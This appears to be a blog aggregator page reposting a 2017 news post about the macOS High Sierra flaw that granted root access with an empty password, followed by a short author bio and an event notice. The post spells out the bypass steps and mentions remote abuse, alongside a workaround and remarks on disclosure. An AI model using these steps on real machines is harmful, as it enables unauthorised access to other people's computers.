Short bio : Louis-Marie Croisez est diplômé Ingénieur Civil Électricien. Depuis 20 ans, il a travaillé dans le secteur des réseaux informatiques, des télécoms, de l’informatique embarquée, au sein de firmes telles que CBR, Alcatel, Thales, etc. Actuellement il travaille chez CETIC asbl, un centre de recherche appliquée en IT basé à Gosselies. Ses centres d’intérêts personnels sont : pratiquer la musique, l’électronique, bricoler (Maker).

November 28, 2017

The post Root login without password allowed by default on Mac OSX High Sierra appeared first on ma.ttias.be.

Right, this isn't a good day for Apple.

As first reported on Twitter by Lemi Orhan Ergin, you can bypass just about any security dialog on Mac OSX High Sierra (10.13) by using the root user without a password.

Use the user root and click Unlock several times, you'll eventually bypass the dialog and be granted root privileges. You can try it if you go to the Users & Groups settings screen and click Lock at the bottom.

I'd be very curious to know the technical reasons why this was possible in the first place.

Update: be sure to disable the root user after test

Turns out, testing this actually creates a root user without a password in the background! Make sure to disable the root user in System Preferences to prevent this from getting any worse than it already is.

For a quick workaround, set a non-default (aka: anything) password on the root user via the terminal.

$ sudo passwd -u root

Once a password has been set, it wont change to an empty value anymore.

Also applicable to Remote Management

If you've enabled Remote Management, anyone can log into your Mac using the root user with an empty password.

Woops.

Responsible disclosure?

This issue was first reported on Twitter and is now getting widespread traction. This isn't exactly a good way to disclose security issues, but I'm willing to bet the reporter perhaps didn't think it would go this far in the media?

There's an entire KB about reporting security issues to Apple, if someone ever feels the need to report similar security bugs.

The post Root login without password allowed by default on Mac OSX High Sierra appeared first on ma.ttias.be.

November 27, 2017

November 25, 2017

LOAD 2018 is a GO and will be held on 21th and 22th of April 2018 in Antwerp, Belgium.